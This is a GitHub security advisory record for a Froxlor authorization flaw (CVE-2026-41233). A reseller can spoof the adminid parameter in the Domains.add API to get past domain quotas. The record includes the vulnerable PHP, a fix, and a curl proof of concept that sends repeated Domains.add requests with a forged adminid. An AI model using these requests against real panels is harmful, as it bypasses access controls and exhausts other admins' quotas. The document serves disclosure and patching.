{"id":"GHSA-jvx4-xv3m-hrj4","summary":"Froxlor has a Reseller Domain Quota Bypass via Unvalidated adminid Parameter in Domains.add()","details":"## Summary\n\nIn `Domains.add()`, the `adminid` parameter is accepted from user input and used without validation when the calling reseller does not have the `customers_see_all` permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin's `domains_used` counter is incremented) and potentially exhausting another admin's quota.\n\n## Details\n\nIn `lib/Froxlor/Api/Commands/Domains.php`, the `add()` method accepts `adminid` as an optional parameter at line 327:\n\n```php\n$adminid = intval($this-\u003egetParam('adminid', true, $this-\u003egetUserDetail('adminid')));\n```\n\nThe validation for this parameter only runs when the caller has `customers_see_all == '1'` (lines 410-421):\n\n```php\nif ($this-\u003egetUserDetail('customers_see_all') == '1' && $adminid != $this-\u003egetUserDetail('adminid')) {\n    $admin_stmt = Database::prepare(\"\n        SELECT * FROM `\" . TABLE_PANEL_ADMINS . \"`\n        WHERE `adminid` = :adminid AND (`domains_used` \u003c `domains` OR `domains` = '-1')\");\n    $admin = Database::pexecute_first($admin_stmt, [\n        'adminid' =\u003e $adminid\n    ], true, true);\n    if (empty($admin)) {\n        Response::dynamicError(\"Selected admin cannot have any more domains or could not be found\");\n    }\n    unset($admin);\n}\n```\n\nWhen a reseller does **not** have `customers_see_all` (the common case for limited resellers), there is no `else` branch to force `$adminid = $this-\u003egetUserDetail('adminid')`. The unvalidated `$adminid` flows directly into:\n\n1. The domain INSERT at line 757: `'adminid' =\u003e $adminid`\n2. The quota increment at lines 862-868:\n```php\n$upd_stmt = Database::prepare(\"\n    UPDATE `\" . TABLE_PANEL_ADMINS . \"` SET `domains_used` = `domains_used` + 1\n    WHERE `adminid` = :adminid\n\");\nDatabase::pexecute($upd_stmt, ['adminid' =\u003e $adminid], true, true);\n```\n\nCompare with `Domains.update()` at lines 1386-1387 which correctly handles this case:\n\n```php\n} else {\n    $adminid = $result['adminid'];\n}\n```\n\nThe initial quota check at line 321 checks the *caller's* own quota (`$this-\u003egetUserDetail('domains_used')`), but since the caller's `domains_used` is never incremented (the wrong admin's counter is incremented instead), this check passes indefinitely.\n\nNote: The `getCustomerData()` call at line 407 does correctly restrict the `customerid` to the reseller's own customers (via `Customers.get` which filters by `adminid`). However, this does not prevent the `adminid` field itself from being spoofed.\n\n## PoC\n\n```bash\n# Step 1: Create a domain with the reseller's API key, specifying a different admin's ID\ncurl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \\\n  -d '{\"command\": \"Domains.add\", \"params\": {\"domain\": \"bypass-test-1.com\", \"customerid\": 3, \"adminid\": 1}}'\n\n# Where:\n# - RESELLER_API_KEY:RESELLER_API_SECRET = API credentials for a reseller WITHOUT customers_see_all\n# - customerid=3 = one of the reseller's own customers\n# - adminid=1 = the super-admin's ID (or any other admin's ID)\n\n# Step 2: Verify the domain was created with adminid=1\n# In the database: SELECT adminid, domain FROM panel_domains WHERE domain='bypass-test-1.com';\n# Expected: adminid=1\n\n# Step 3: Check the reseller's quota was NOT incremented\n# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=\u003creseller_id\u003e;\n# Expected: domains_used unchanged\n\n# Step 4: Check the target admin's quota WAS incremented\n# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=1;\n# Expected: domains_used incremented by 1\n\n# Step 5: Repeat with different domain names to demonstrate unlimited creation\ncurl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \\\n  -d '{\"command\": \"Domains.add\", \"params\": {\"domain\": \"bypass-test-2.com\", \"customerid\": 3, \"adminid\": 1}}'\n\ncurl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \\\n  -d '{\"command\": \"Domains.add\", \"params\": {\"domain\": \"bypass-test-3.com\", \"customerid\": 3, \"adminid\": 1}}'\n\n# The reseller's domains_used remains unchanged, allowing indefinite creation\n```\n\n## Impact\n\n1. **Quota bypass**: A reseller can create unlimited domains beyond their allocated quota, since their own `domains_used` counter is never incremented.\n2. **Quota exhaustion DoS**: The target admin's `domains_used` counter is incremented instead, potentially exhausting their quota and preventing legitimate domain creation.\n3. **Data integrity violation**: Domains are associated with an admin who does not own the customer, breaking the ownership model. These domains become invisible to the reseller in domain listings (which filter by `adminid`) but remain active on the server.\n4. **Accounting inaccuracy**: Resource usage reporting and billing tied to admin quotas becomes incorrect.\n\n## Recommended Fix\n\nAdd an `else` branch to force `$adminid` to the caller's own admin ID when `customers_see_all != '1'`, consistent with the pattern used in `Domains.update()`:\n\n```php\n// In lib/Froxlor/Api/Commands/Domains.php, after line 421:\n\nif ($this-\u003egetUserDetail('customers_see_all') == '1' && $adminid != $this-\u003egetUserDetail('adminid')) {\n    $admin_stmt = Database::prepare(\"\n        SELECT * FROM `\" . TABLE_PANEL_ADMINS . \"`\n        WHERE `adminid` = :adminid AND (`domains_used` \u003c `domains` OR `domains` = '-1')\");\n    $admin = Database::pexecute_first($admin_stmt, [\n        'adminid' =\u003e $adminid\n    ], true, true);\n    if (empty($admin)) {\n        Response::dynamicError(\"Selected admin cannot have any more domains or could not be found\");\n    }\n    unset($admin);\n} else {\n    // Force adminid to the caller's own ID when they don't have customers_see_all\n    $adminid = intval($this-\u003egetUserDetail('adminid'));\n}\n```","aliases":["CVE-2026-41233"],"modified":"2026-05-05T16:11:49.922709Z","published":"2026-04-16T00:46:47Z","database_specific":{"nvd_published_at":"2026-04-23T05:16:05Z","cwe_ids":["CWE-863"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-04-16T00:46:47Z"},"references":[{"type":"WEB","url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-jvx4-xv3m-hrj4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41233"},{"type":"WEB","url":"https://github.com/froxlor/froxlor/commit/bf47ba15329506e9f9662f9462463932aa80dff5"},{"type":"PACKAGE","url":"https://github.com/froxlor/froxlor"},{"type":"WEB","url":"https://github.com/froxlor/froxlor/releases/tag/2.3.6"}],"affected":[{"package":{"name":"froxlor/froxlor","ecosystem":"Packagist","purl":"pkg:composer/froxlor/froxlor"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.3.6"}]}],"versions":["0.10.0","0.10.0-rc1","0.10.0-rc2","0.10.1","0.10.10","0.10.11","0.10.12","0.10.13","0.10.14","0.10.15","0.10.16","0.10.17","0.10.18","0.10.19","0.10.2","0.10.20","0.10.21","0.10.22","0.10.23","0.10.23.1","0.10.24","0.10.25","0.10.26","0.10.27","0.10.28","0.10.29","0.10.29.1","0.10.3","0.10.30","0.10.31","0.10.32","0.10.33","0.10.34","0.10.34.1","0.10.35","0.10.35.1","0.10.36","0.10.37","0.10.38","0.10.38.1","0.10.38.2","0.10.38.3","0.10.4","0.10.5","0.10.6","0.10.7","0.10.8","0.10.9","2.0.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.21","2.0.22","2.0.23","2.0.24","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.1.0","2.1.0-beta1","2.1.0-beta2","2.1.0-rc1","2.1.0-rc2","2.1.0-rc3","2.1.1","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","2.2.0","2.2.0-rc1","2.2.0-rc2","2.2.0-rc3","2.2.1","2.2.2","2.2.3","2.2.4","2.2.5","2.2.6","2.2.7","2.2.8","2.3.0","2.3.0-rc1","2.3.1","2.3.2","2.3.3","2.3.4","2.3.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-jvx4-xv3m-hrj4/GHSA-jvx4-xv3m-hrj4.json","last_known_affected_version_range":"\u003c= 2.3.5"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"}]}